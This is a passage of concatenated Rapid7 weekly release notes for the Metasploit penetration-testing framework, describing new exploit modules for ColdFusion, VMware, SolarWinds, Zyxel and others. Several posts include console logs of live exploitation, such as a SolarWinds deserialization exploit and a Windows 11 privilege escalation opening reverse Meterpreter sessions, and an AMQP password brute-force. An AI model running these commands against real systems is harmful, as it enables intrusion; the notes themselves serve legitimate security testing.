Description: This adds two modules; an RCE exploit for CVE-2023-26360 (Adobe ColdFusion) and an auxiliary gather module for the same vulnerability that can be leveraged to read arbitrary files. ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier are affected.

Enhancements and features (2)

• #16390 from sempervictus – Two new libraries, Rex::Proto::DNS::CachedResolver and Rex::Proto::DNS::Cache, have been added to extend the functionality of Rex::Proto::DNS::Resolver and add the ability for users to cache DNS responses, specify the name server that they would like to use when trying to resolve DNS names, and load and cache existing DNS entries in their hostfile.
• #17963 from h00die – Updates auxiliary/scanner/nfs/nfsmount to include a reference to CVE-1999-0554 – which is related to finding sensitive files on an NFS mount.

Bugs fixed (4)

• #17910 from cgranleese-r7 – Fixes false positives in the auxiliary/scanner/couchdb/couchdb_login module which incorrectly reported successful user authentication when connection timeouts occurred.
• #17911 from cgranleese-r7 – Updates the setting missing datastore values validation to produce a warning instead of an error. This fixes an edgecase where setting options on multi/handler without having first set a payload would fail.
• #17944 from zeroSteiner – A new release of metasploit-payloads is out which adds long awaited WOW64 support for hashdump, fixes an issue with building payloads using MingGW, and adds memory read/write abilities to Windows version of Python Meterpreter.
• #17947 from bcoles – Updates exploits/osx/local/feedback_assistant_root.rb to no longer assume that OSX version nil/zero is vulnerable – which may occur when running against non-OSX systems.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

• Pull Requests 6.3.14…6.3.15
• Full diff 6.3.14…6.3.15

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

Post Syndicated from Navya Harika Karaka original https://blog.rapid7.com/2023/04/28/metasploit-weekly-wrap-up-8/

Scanner That Pulls Sensitive Information From Joomla Installations

This week’s Metasploit release includes a module for CVE-2023-23752 by h00die. Did you know about the improper API access vulnerability in Joomla installations, specifically Joomla versions between 4.0.0 and 4.2.7, inclusive? This vulnerability allows unauthenticated users access to web service endpoints which contain sensitive information such as user and config information. This module can be used to exploit the users and config/application endpoints.

No More Local Exploit Suggester Crashing Against Older Windows Targets

This week’s Metasploit release includes a bug fix by our own adfoster-r7 addressing an issue related to the local exploit suggester crashing against older windows targets. This issue was tracked down to the bits_ntlm_token_impersonation module when it’s checking the BITS/WinRM version via PowerShell. A patch has been added to prevent it crashing against older and newer Windows targets.

New module content (1)

Joomla API Improper Access Checks

Authors: Tianji Lab and h00die
Type: Auxiliary
Pull request: #17895 contributed by h00die
AttackerKB reference: CVE-2023-23752

Description: This adds a scanner that pulls user and config information from Joomla installations that permit access to endpoints containing sensitive information. This affects versions 4.0.0 through 4.2.7 inclusive.

Enhancements and features (3)

• #17857 from steve-embling – This adds T3S support for the weblogic_deserialize_rawobject, weblogic_deserialize_marshalledobject, and weblogic_deserialize_badattr_extcomp exploit modules.
• #17921 from bcoles – This add documentation for the module post/windows/gather/resolve_sid
• #17941 from j-baines – Updates the exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce module with CVE identifier CVE-2023-28769.

Bugs fixed (4)

• #17912 from bwatters-r7 – Fixes a MinGW issue in the Meterpreter stdapi extension. The stdapi extension was using free() instead of FreeMibTable() to free memory allocated by GetIpForwardTable2() which led to a crash when compiled with MinGW.
• #17913 from adfoster-r7 – Fixes a crash when running the local exploit suggester against older Windows targets.
• #17914 from zeroSteiner – This fixes an issue where paths with trailing backslashes would wait for more input when passed to directory?() due to the " being escaped in the command testing for the existence of the path.
• #17926 from bwatters-r7 – This fixes an issue with a railgun function definition that caused the post/windows/gather/resolve_sid module to fail on 64-bit systems. When the module failed, the session was lost.

Documentation added (2)

• #17839 from cdelafuente-r7 – This improves Metasploit’s documentation on the cleanup method for modules.
• #17937 from adfoster-r7 – This fixes a formatting error due to a typo in the wiki page for setting up a Metasploit development environment.

You can always find more documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

• Pull Requests 6.3.13…6.3.14
• Full diff 6.3.13…6.3.14

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

Post Syndicated from Dean Welch original https://blog.rapid7.com/2023/04/21/metasploit-weekly-wrap-up-7/

VMware Workspace ONE Access exploit chain

A new module contributed by jheysel-r7 exploits two vulnerabilities in VMware Workspace ONE Access to attain Remote Code Execution as the horizon user.
First being CVE-2022-22956, which is an authentication bypass and the second being a JDBC injection in the form of CVE-2022-22957 ultimately granting us RCE.
The module will seamlessly chain these two vulnerabilities together, simplifying the whole process.

More speeeeeeed!

Our own adfoster-r7 has added caching to Ruby’s loadpath logic with the help of bootsnap to improve the bootup performance of Metasploit.
On the hardware we tested we were getting an average of 2-3 seconds reduced time to boot which is a really nice quality of life improvement.

New module content (3)

VMware Workspace ONE Access VMSA-2022-0011 exploit chain

Authors: jheysel-r7 and mr_me
Type: Exploit
Pull request: #17854 contributed by jheysel-r7
AttackerKB reference: CVE-2022-22957, CVE-2022-22956

Description: This PR adds an exploit chaining CVE-2022-22956 and CVE-2022-22957 to gain code execution as the horizon user on VMWare Workspace One Access. The first vulnerability, CVE-2022-22956, is an authentication bypass in OAuth2TokenResourceController ACS which allows a remote, unauthenticated attacker to bypass the authentication mechanism and execute any operation. The second vulnerability, CVE-2022-22957, is a JDBC injection RCE specifically in the DBConnectionCheckController class’s dbCheck method which allows an attacker to deserialize arbitrary Java objects which can allow remote code execution.

VMware Workspace ONE Access CVE-2022-22960

Authors: jheysel-r7 and mr_me
Type: Exploit
Pull request: #17874 contributed by jheysel-r7
AttackerKB reference: CVE-2022-22960

Description: This PR adds an exploit module targeting CVE-2022-22960, which allows the user to overwrite the permissions of the certproxyService.sh script so that it can be modified by the horizon user. This allows a local attacker with the uid 1001 to escalate their privileges to root access.

SPIP form PHP Injection

Authors: Julien Voisin, Laluka, and coiffeur
Type: Exploit
Pull request: #17711 contributed by jvoisin
AttackerKB reference: CVE-2023-27372

Description: This module exploits a PHP code injection in SPIP. The vulnerability exists in the oubli parameter and allows an unauthenticated user to execute arbitrary commands with web user privileges.

Enhancements and features (4)

• #17809 from adfoster-r7 – Adds caching to Ruby’s load path logic to improve the bootup performance of msfconsole on startup, averaging 2-3 seconds faster boot time on the tested hardware.
• #17820 from manishkumarr1017 – This PR fixes the Nagios XI authenticated modules to work with even when autocheck is disabled as well as refactors reusable code.
• #17884 from adfoster-r7 – Adds database migration validation before attempting to run the test suite. Users who have not migrated their local test database will be notified of the steps required to resolve this issue.
• #17892 from h00die – Adds additional documentation for the exploit/windows/misc/unified_remote_rce module.

Bugs fixed (7)

• #17873 from zgoldman-r7 – Updates the scanner/ftp/ftp_login module to ensure that opened connections are correctly closed after attempting to log in. Additionally, this fixes a bug where the FTPTimeout option was being ignored after being set by a user.
• #17882 from zeroSteiner – A bug has been fixed in the getsystem command where getsystem techniques 5 and 6 were crashing sessions on Windows 11 22H2. Additionally, Python Windows Meterpreter payloads have been updated to include memory lock/unlock abilities.
• #17883 from adfoster-r7 – Fixes a crash when running the modules/auxiliary/scanner/lotus/lotus_domino_hashes module and the database is not active.
• #17888 from bcoles – Fixes a crash when running the help setg command in msfconsole.
• #17893 from h00die – Updates the documentation for the modules/exploit/linux/local/asan_suid_executable_priv_esc module to be in the correct location.
• #17907 from jheysel-r7 – Fixes a crash when running the exploits/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.rb module.
• #17909 from adfoster-r7 – Fixes a Windows7 Meterpreter crash when in debug mode.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

• Pull Requests 6.3.12…6.3.13
• Full diff 6.3.12…6.3.13

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

Post Syndicated from Shelby Pace original https://blog.rapid7.com/2023/04/14/metasploit-weekly-wrap-up-6/

Rocket Software UniRPC Exploits

Ron Bowes submitted two exploit modules for vulnerabilities he discovered in the UniRPC server for Rocket Software’s UniData product. The first exploit module, exploit/linux/misc/unidata_udadmin_auth_bypass exploits an authentication bypass to ultimately gain remote code execution as the root user. The vulnerable RPC service has a hardcoded username, :local: and a predictable password of the form <username>:<uid>:<gid>. Using the root username and its corresponding uid and gid, an attacker can authenticate to the RPC service and execute a shell via the service’s OsCommand command.

The second module, exploit/linux/misc/unidata_udadmin_password_stack_overflow exploits an unauthenticated stack-based buffer overflow through the vulnerable service’s password field. Due to a lack of bounds checking on the buffer that the password is placed into, the saved return pointer can be overwritten, resulting in code execution as the root user.

New SCTP Payloads

Along with SCTP session support, sempervictus added four new payloads that work over the aforementioned stream-based transport protocol. Included in this set are two Unix command payloads that work over socat, a Python command payload, and lastly, a reverse SCTP shell payload for Linux.

Persistent Certificates

This week, adfoster-r7 improved on Metasploit’s support for PKCS12 certificates issued by Active Directory Certificate Services (AD CS). The improvements cause the existing admin/dcerpc/icpr_cert module to store certificates in the same manner as other credentials are stored when a database is attached. Now certificates will be visible from the creds command, and new ones can be added using creds add user:alice pkcs12:/path/to/certificate.pfx. This will help users manage these certificates and reuse them for Kerberos authentication with the admin/kerberos/get_ticket module and the CERT_FILE option as well as LDAP modules such as gather/ldap_query with the LDAP::CertFile option.

New module content (6)

Rocket Software Unidata udadmin_server Authentication Bypass

Author: Ron Bowes
Type: Exploit
Pull request: #17832 contributed by rbowes-r7
AttackerKB reference: CVE-2023-28503

Description: This adds two exploit modules that target UniData versions 8.2.4 (and earlier) on Linux. Due to a flaw in the udadmin service implementation, it is possible to get remote command execution as the root user. One module leverages a stack buffer overflow in a "password" field (CVE-2023-28502) and the other is an authentication bypass (CVE-2023-28503).

Rocket Software Unidata udadmin_server Stack Buffer Overflow in Password

Author: Ron Bowes
Type: Exploit
Pull request: #17832 contributed by rbowes-r7
AttackerKB reference: CVE-2023-28502

Description: This adds two exploit modules that target UniData versions 8.2.4 (and earlier) on Linux. Due to a flaw in the udadmin service implementation, it is possible to get remote command execution as the root user. One module leverages a stack buffer overflow in a "password" field (CVE-2023-28502) and the other is an authentication bypass (CVE-2023-28503).

SCTP Sessions

Author: sempervictus
Type: Payload
Pull request: #17502 contributed by sempervictus

Description: This PR adds support for SCTP sessions which Metasploit Framework can utilize for session transports similarly to TCP as it is a stream-wise transport.

Enhancements and features (5)

• #17353 from adfoster-r7 – Adds support for persisting PKCS12 credentials in Metasploit, i.e. .pfx/.p12 files. The auxiliary/admin/dcerpc/icpr_cert and auxiliary/admin/dcerpc/cve_2022_26923_certifried modules will now persist requested certificates for future exploitation. The creds command can also directly persist certificates – for example: creds add user:alice pkcs12:/path/to/certificate.pfx.
• #17502 from sempervictus – This PR adds SCTP sessions which Metasploit Framework can utilize for session transports similarly to TCP as it is a stream-wise transport.
• #17804 from cgranleese-r7 – Fixes the metadata for multiple modules which had invalid reference names, incorrect rankings, missing notes, etc. Additionally, this adds automation for verifying module metadata is correct.
• #17821 from bcoles – This enables the import of Nuclei scan results using the db_import command. Both JSON and JSONL formats are supported.
• #17862 from bcoles – Updates msfvenom to require apktools version 2.7.0 or greater when attempting to modify Android apk files, as it includes security improvements and bug fixes.

Bugs fixed (4)

• #17851 from Ryuuuuu – Updates the exploits/linux/http/apache_couchdb_cmd_exec to no longer report the target host as being vulnerable when the CouchDB version could not be extracted..
• #17864 from Ryuuuuu – A bug has been fixed in auxiliary/admin/http/trendmicro_dlp_traversal and auxiliary/admin/http/tomcat_utf8_traversal whereby print_good was used when a file was missing instead of print_error.
• #17867 from Ryuuuuu – A bug has been fixed in the modules/auxiliary/scanner/http/surgenews_user_creds.rb module whereby the code did not properly check if there were no users in the nwauth.add file prior to proceeding to operate on it.
• #17872 from adfoster-r7 – Fixes a crash when modules relied on a hash identifying method that wasn’t always available. This method is now available as expected and modules will no longer crash.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

• Pull Requests 6.3.11…6.3.12
• Full diff 6.3.11…6.3.12

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

Post Syndicated from Jeffrey Martin original https://blog.rapid7.com/2023/04/07/metasploit-weekly-wrap-up-5/

The tide rolls in and out.

The flood of new modules last week crested leaving ample time for documentation updates this week. The team and the community seem to have focused on getting those sweet sprinkles of information that help everyone understand Metasploit out to the world.

Enhancements and features (1)

• #17458 from steve-embling – Updates the exploit/multi/misc/weblogic_deserialize_badattrval module to enable support for SSL/TLS.

Bugs fixed (4)

• #17778 from adfoster-r7 – Updates the Metasploit database migration code to no longer break the test suite when running locally.
• #17823 from bcoles – This fixes an issue in the check method where targets with files containing no PHP code were falsely reported as safe.
• #17835 from bcoles – Fixes a bug in auxiliary/admin/networking/cisco_dcnm_auth_bypass where the bypass_auth method would break if a user supplied a TARGETURI path without a trailing /.
• #17844 from SubcomandanteMeowcos – Fixes broken documentation references in the secretsdump, zemra_panel_rce, and windows/gather/credentials/skype modules.

Documentation added (6)

• #17836 from jheysel-r7 – Documents the usage of session.platform in the How to get started with writing a post-module documentation.
• #17837 from cdelafuente-r7 – Updates the ‘How to write a check method’ page to include using the Msf::Exploit::Remote::AutoCheck mixin, which will automatically run a check method against a target before attempting to exploit it.
• #17838 from zeroSteiner – Updates the How to use railgun for windows post exploitation documentation with the latest conventions for using Meterpreter’s Railgun when wanting to interact with Windows APIs on a remote target.
• #17840 from jheysel-r7 – Updates the ‘Get started writing an Exploit’ example documentation to describe the usage of Stability/Reliability/SideEffects metadata when writing modules.
• #17841 from jheysel-r7 – Documents the latest labels that can be assigned to pull requests.
• #17842 from bwatters-r7 – Updates the How to use command stagers documentation with additional examples and clearer descriptions.

You can always find more documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

• Pull Requests 6.3.10…6.3.11
• Full diff 6.3.10…6.3.11

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

Post Syndicated from Alan David Foster original https://blog.rapid7.com/2023/03/31/metasploit-weekly-wrap-up-198/

Windows 11 ADF WinSock Priv Esc

The new windows/local/cve_2023_21768_afd_lpe exploit makes use of a brand new Windows kernel exploitation technique that leverages the new I/O ring feature introduced in Windows 11 21H2. This technique comes from Yarden Shafir research and provides a full read/write primitive on Windows 11. This exploit is a write-where bug that allows arbitrary write of one byte in kernel memory. This is enough to modify the I/O ring internal structures and get remote code execution as the NT AUTHORITY\SYSTEM user. The Metasploit module is based on the exploit PoC authored by chompie1337 and b33f .

Example running with Windows 11 Version 22H2 Build 22621.963 x64:

msf6 exploit(windows/local/cve_2023_21768_afd_lpe) > run verbose=true
[*] Started reverse TCP handler on 192.168.100.9:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Windows Build Number = 22621.963
[+] The target appears to be vulnerable.
[*] Launching netsh to host the DLL...
[+] Process 3748 launched.
[*] Reflectively injecting the DLL into 3748...
[*] Sending stage (200774 bytes) to 192.168.100.9
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 11 opened (192.168.100.9:4444 -> 192.168.100.9:55346) at 2023-03-27 18:46:08 +0200
meterpreter >

SolarWinds RCE and AMQP Support

Metasploit 6.3.10 now has support for the Advanced Message Queuing Protocol (AMQP). This protocol is used in services such as RabbitMQ. Three new modules have been added that leverage this functionality thanks to the work of our very own Spencer McIntyre:

The exploits/windows/misc/solarwinds_amqp_deserialization module adds an exploit for CVE-2022-38108 which is an authenticated .NET deserialization vulnerability within the SolarWinds platform’s SWIS (SolarWinds Information Service) component. To trigger the vulnerability, an attacker must authenticate to the RabbitMQ (message queue) server (via the AMQP protocol) and publish a specially crafted object. Once SWIS receives the message, it will deserialize it, allowing for OS command execution as NT AUTHORITY\SYSTEM. Example targeting SolarWinds Orion NPM 2020.2.6 on Windows Server 2019 x64:

msf6 > use exploit/windows/misc/solarwinds_amqp_deserialization 
[*] Using configured payload cmd/windows/powershell/x64/meterpreter/reverse_tcp
msf6 exploit(windows/misc/solarwinds_amqp_deserialization) > set RHOSTS 192.168.159.17
RHOSTS => 192.168.159.17
msf6 exploit(windows/misc/solarwinds_amqp_deserialization) > set USERNAME hax
USERNAME => hax
msf6 exploit(windows/misc/solarwinds_amqp_deserialization) > set PASSWORD Password1!
PASSWORD => Password1!
msf6 exploit(windows/misc/solarwinds_amqp_deserialization) > set VERBOSE true
VERBOSE => true
msf6 exploit(windows/misc/solarwinds_amqp_deserialization) > set PAYLOAD cmd/windows/powershell/meterpreter/reverse_tcp
PAYLOAD => cmd/windows/powershell/meterpreter/reverse_tcp
msf6 exploit(windows/misc/solarwinds_amqp_deserialization) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(windows/misc/solarwinds_amqp_deserialization) > run
[*] Powershell command length: 4175
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] 192.168.159.17:5671 - Successfully connected to the remote server.
[*] 192.168.159.17:5671 - Successfully opened a new channel.
[*] 192.168.159.17:5671 - Successfully published the message to the channel.
[*] Sending stage (186438 bytes) to 192.168.159.17
[*] Sending stage (186438 bytes) to 192.168.159.17
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.17:54960) at 2023-03-17 13:20:03 -0400
meterpreter >

The auxiliary/scanner/amqp/amqp_version module displays the version information about Advanced Message Queuing Protocol (AMQP) 0-9-1 servers:

msf6 > use auxiliary/scanner/amqp/amqp_version
msf6 auxiliary(scanner/amqp/amqp_version) > set RHOSTS 192.168.159.0/24
RHOSTS => 192.168.159.0/24
msf6 auxiliary(scanner/amqp/amqp_version) > run
[*] 192.168.159.17:5671 - AMQP Detected (version:RabbitMQ 3.8.16) (cluster:rabbit@WIN-KHPRSGSRF30) (platform:Erlang/OTP 23.3) (authentication:AMQPLAIN, PLAIN)
[*] 192.168.159.0/24:5671 - Scanned  51 of 256 hosts (19% complete)
[*] 192.168.159.0/24:5671 - Scanned  53 of 256 hosts (20% complete)
[*] 192.168.159.0/24:5671 - Scanned  98 of 256 hosts (38% complete)
[*] 192.168.159.128:5671 - AMQP Detected (version:RabbitMQ 3.11.10) (cluster:rabbit@my-rabbit) (platform:Erlang/OTP 25.3) (authentication:PLAIN, AMQPLAIN)
[*] 192.168.159.0/24:5671 - Scanned 104 of 256 hosts (40% complete)
[*] 192.168.159.0/24:5671 - Scanned 150 of 256 hosts (58% complete)
[*] 192.168.159.0/24:5671 - Scanned 154 of 256 hosts (60% complete)
[*] 192.168.159.0/24:5671 - Scanned 199 of 256 hosts (77% complete)
[*] 192.168.159.0/24:5671 - Scanned 216 of 256 hosts (84% complete)
[*] 192.168.159.0/24:5671 - Scanned 233 of 256 hosts (91% complete)
[*] 192.168.159.0/24:5671 - Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/amqp/amqp_version) > services 
Services
========
host             port  proto  name   state  info
----             ----  -----  ----   -----  ----
192.168.159.17   5671  tcp    amqps  open   AMQP Detected (version:RabbitMQ 3.8.16) (cluster:rabbit@WIN-KHPRSGSRF30) (platform:Erlang/OTP 23.3) (authentication:AMQPLAIN, PL
                                            AIN)
192.168.159.128  5671  tcp    amqps  open   AMQP Detected (version:RabbitMQ 3.11.10) (cluster:rabbit@my-rabbit) (platform:Erlang/OTP 25.3) (authentication:PLAIN, AMQPLAIN)
msf6 auxiliary(scanner/amqp/amqp_version) 

The new auxiliary/scanner/amqp/amqp_login module can be used to bruteforce service credentials:

msf6 > use auxiliary/scanner/amqp/amqp_login 
msf6 auxiliary(scanner/amqp/amqp_login) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 auxiliary(scanner/amqp/amqp_login) > set USERNAME admin
USERNAME => admin
msf6 auxiliary(scanner/amqp/amqp_login) > set PASS_FILE data/wordlists/unix_passwords.txt
PASS_FILE => data/wordlists/unix_passwords.txt
msf6 auxiliary(scanner/amqp/amqp_login) > set RPORT 5672
RPORT => 5672
msf6 auxiliary(scanner/amqp/amqp_login) > set SSL false
[!] Changing the SSL option's value may require changing RPORT!
SSL => false
msf6 auxiliary(scanner/amqp/amqp_login) > run
[-] 192.168.159.128:5672 - LOGIN FAILED: admin:Password1! (Incorrect: ACCESS_REFUSED - Login was refused using authentication mechanism PLAIN. For details see the broker logfile.)
[-] 192.168.159.128:5672 - LOGIN FAILED: admin:admin (Incorrect: ACCESS_REFUSED - Login was refused using authentication mechanism PLAIN. For details see the broker logfile.)
[-] 192.168.159.128:5672 - LOGIN FAILED: admin:123456 (Incorrect: ACCESS_REFUSED - Login was refused using authentication mechanism PLAIN. For details see the broker logfile.)
[-] 192.168.159.128:5672 - LOGIN FAILED: admin:12345 (Incorrect: ACCESS_REFUSED - Login was refused using authentication mechanism PLAIN. For details see the broker logfile.)
[-] 192.168.159.128:5672 - LOGIN FAILED: admin:123456789 (Incorrect: ACCESS_REFUSED - Login was refused using authentication mechanism PLAIN. For details see the broker logfile.)
[+] 192.168.159.128:5672 - Login Successful: admin:password
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/amqp/amqp_login) > 

New module content (5)

AMQP 0-9-1 Login Check Scanner

Author: Spencer McIntyre
Type: Auxiliary
Pull request: #17828 contributed by zeroSteiner

Description: This adds a login scanner module for AMQP services

AMQP 0-9-1 Version Scanner

Author: Spencer McIntyre
Type: Auxiliary
Pull request: #17827 contributed by zeroSteiner

Description: This adds a scanner module that extracts version information from AMQP protocol servers.

Optergy Proton and Enterprise BMS Command Injection using a backdoor

Authors: Gjoko Krstic and h00die-gr3y
Type: Exploit
Pull request: #17806 contributed by h00die-gr3y
AttackerKB reference: CVE-2019-7276

Description: This module exploits an undocumented backdoor vulnerability in the Optergy Proton and Enterprise Building Management System (BMS) applications.

Ancillary Function Driver (AFD) for WinSock Elevation of Privilege

Authors: Christophe De La Fuente, Yarden Shafir, b33f, and chompie
Type: Exploit
Pull request: #17826 contributed by cdelafuente-r7
AttackerKB reference: CVE-2023-21768

Description: This PR adds an exploit module for CVE-2023-21768 that achieves local privilege escalation on Windows 11 2H22.

SolarWinds Information Service (SWIS) .NET Deserialization From AMQP RCE

Authors: Justin Hong, Lucas Miller, Piotr Bazydło, and Spencer McIntyre
Type: Exploit
Pull request: #17785 contributed by zeroSteiner
AttackerKB reference: CVE-2022-38108

Description: This adds an exploit for an authenticated .NET deserialization vulnerability that affects the SolarWinds Information Service (SWIS) component within SolarWinds. The SWIS component will deserialize messages received by the AMQP message queue, resulting in command execution as NT AUTHORITY\SYSTEM.

Enhancements and features (6)

• #17724 from dwelch-r7 – Updates the modules/auxiliary/admin/kerberos/forge_ticket.rb module with a new IncludeTicketChecksum option. When set to true the forged PAC will include the PAC_TICKET_CHECKSUM required in newer Windows AD implementations
• #17753 from adfoster-r7 – Updates the auxiliary/admin/kerberos/get_ticket module to support using forged golden tickets. Users can now provide the Krb5Ccname option to supply the Kerberos TGT to use when requesting the service ticket. If unset, the database will be checked for a valid TGT as normal
• #17789 from bcoles – This PR add enhancements to the proftpd_modcopy_exec module. Enhancements include documentation, notes, a reference URL, and a few general code improvements to the check and exploit methods.
• #17789 from bcoles – This PR add enhancements to the proftpd_modcopy_exec module. Enhancements include documentation, notes, a reference URL, and a few general code improvements to the check and exploit methods.
• #17813 from samueloph – This sets the CHECK_FALSE option to true by default so that the scanner will bail upon detecting false positive results.
• #17833 from adfoster-r7 – Updates the Metasploit RPC module.info command response to include whether or not the module supports a check method

Bugs fixed (6)

• #17704 from ide0x90 – Fixes a crash in multi/http/solr_velocity_rce that was discovered when targeting a machine running Apache Solr 8.3.0 on Linux that required authentication.
• #17808 from adfoster-r7 – Updates multiple broken Secunia references in modules with equivalent links found within Wayback Machine – a digital archive of the world wide web founded by the Internet Archive.
• #17818 from adfoster-r7 – This PR fixes a crash in the RPC job info command.
• #17825 from dm-ct – Fixes broken documentation references in the exploits/linux/local/zimbra_slapper_priv_esc module
• #17830 from bcoles – Fixes a crash when parsing dates in ./tools/modules/committer_count.rb
• #17831 from dm-ct – Fixes broken documentation references in the exploits/aix/rpc_cmsd_opcode21.rb module

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

• Pull Requests 6.3.9…6.3.10
• Full diff 6.3.9…6.3.10

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

Post Syndicated from Jack Heysel original https://blog.rapid7.com/2023/03/24/metasploit-weekly-wrap-up-197/

Zxyel Routers Beware

This week we’ve released a module written by first time community contributor shr70 that can exploit roughly 45 different Zyxel router and VPN models. The module exploits a buffer overflow vulnerability that results in unauthenticated remote code execution on affected devices. It’s rare we see a module affect this many devices once and are excited to see this ship in the framework. We hope pentesters and red-teamers alike can make good use of this module in their day to day operations.

Monitorr unauthenticated RCE

Community contributor h00die-gr3y strikes again this time with a module for an Unauthenticated RCE vulnerability in Monitorr. Monitorr is a simple web application that allows you to set up a dashboard to monitor various web sites / web applications up or down state. Vulnerable versions allow an attacker to upload a webshell tagged as a GIF image and execute malicious php code in the upload directory where the malicious file is stored.

More Metasploit Twitch Streaming

In case you missed it or were previously unaware, our very own Spencer McIntyre has been doing live exploit development on Twitch the second Friday of the month at 4pm EST. This past week Spencer (aka zerosteiner) shared in real time the trials and tribulations of reverse engineering an authenticated SolarWinds information service deserialization RCE. The pull request for this work can be found here: https://github.com/rapid7/metasploit-framework/pull/17785. In the live stream he explained how he takes a blog posted with limited technical details, decompiles and debugs the application to figure out what makes the vulnerability tick. Come watch the next on Friday April 14th, at: https://www.twitch.tv/zerosteiner, there’s a good chance you’ll learn something new and be sure to invite your family and friends!

New module content (4)

Zyxel Unauthenticated LAN Remote Code Execution

Authors: Gerhard Hechenberger, SEC Consult Vulnerability Lab, Stefan Viehboeck, Steffen Robertz, and Thomas Weber
Type: Exploit
Pull request: #17388 contributed by shr70

Description: This PR adds a new exploit module for a buffer overflow in roughly 45 different Zyxel router and VPN models.

Monitorr unauthenticated Remote Code Execution (RCE)

Authors: Lyhins Lab and h00die-gr3y
Type: Exploit
Pull request: #17771 contributed by h00die-gr3y
AttackerKB reference: CVE-2020-28871

Description: This adds a module that exploits an unauthenticated file upload vulnerability in various versions of Monitorr. RCE as the user under which the software runs can be achieved due to insufficient validation on GIF uploads.

Open Web Analytics 1.7.3 – Remote Code Execution (RCE)

Authors: Dennis Pfleger and Jacob Ebben
Type: Exploit
Pull request: #17754 contributed by Pflegusch
AttackerKB reference: CVE-2022-24637

Description: This adds an exploit module for CVE-2022-24637, a single/double quote confusion vulnerability in Open Web Analytics versions below 1.7.4. This leads to the disclosure of sensitive information in an automatically generated PHP cache file, which can be leveraged to gain admin privileges and remote code execution.

WhatsUp Gold Credentials Dump

Authors: npm and sshah
Type: Post
Pull request: #17462 contributed by npm-cesium137-io
AttackerKB reference: CVE-2022-29848

Description: This adds a post module that collects and decrypts credentials from WhatsUp Gold installs.

Enhancements and features (2)

• #17401 from araout42 – This PR adds a new x86 XOR polymorphic encoder.
• #17583 from cgranleese-r7 – Enhances msfconsole’s info -d command, which is used to generate browser Metasploit module documentation, to additionally include references to AttackerKB.

Bugs fixed (8)

• #17735 from tekwizz123 – Fixes a few incorrect parameter names in the generated developer documentation found at https://docs.metasploit.com/api/.
• #17747 from dwelch-r7 – Updates the wmap plugin to no longer crash when running `wmap_targets -t http://metasploit.com.
• #17783 from adfoster-r7 – An update has been made to the reload_lib command so that it continues to reload files even if a single file fails to load.
• #17784 from dwelch-r7 – Reduces the amount of files loaded when msfconsole start up. This was a performance regression introduced by a recent Rails upgrade.
• #17792 from adfoster-r7 – Fixes external module crash for when running the auxiliary/scanner/wproxy/att_open_proxy module.
• #17794 from adfoster-r7 – Update external modules to support python3.11.
• #17798 from adfoster-r7 – The debug --datastore command was previously causing a stacktrace due to some incorrect operations. These have since been fixed so that users can now use debug --datastore to output debug information along with the datastore information.
• #17802 from zeroSteiner – Updates Python pingback payloads such as payload/python/pingback_reverse_tcp to no longer crash when viewing info or generating.

Documentation added (1)

• #17795 from adfoster-r7 – This PR adds documentation on debugging and running external python modules.

You can always find more documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

• Pull Requests 6.3.8…6.3.9
• Full diff 6.3.8…6.3.9

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

Post Syndicated from Grant Willcox original https://blog.rapid7.com/2023/03/17/metasploit-weekly-wrap-up-196-2/

FortiNAC EITW Content Added

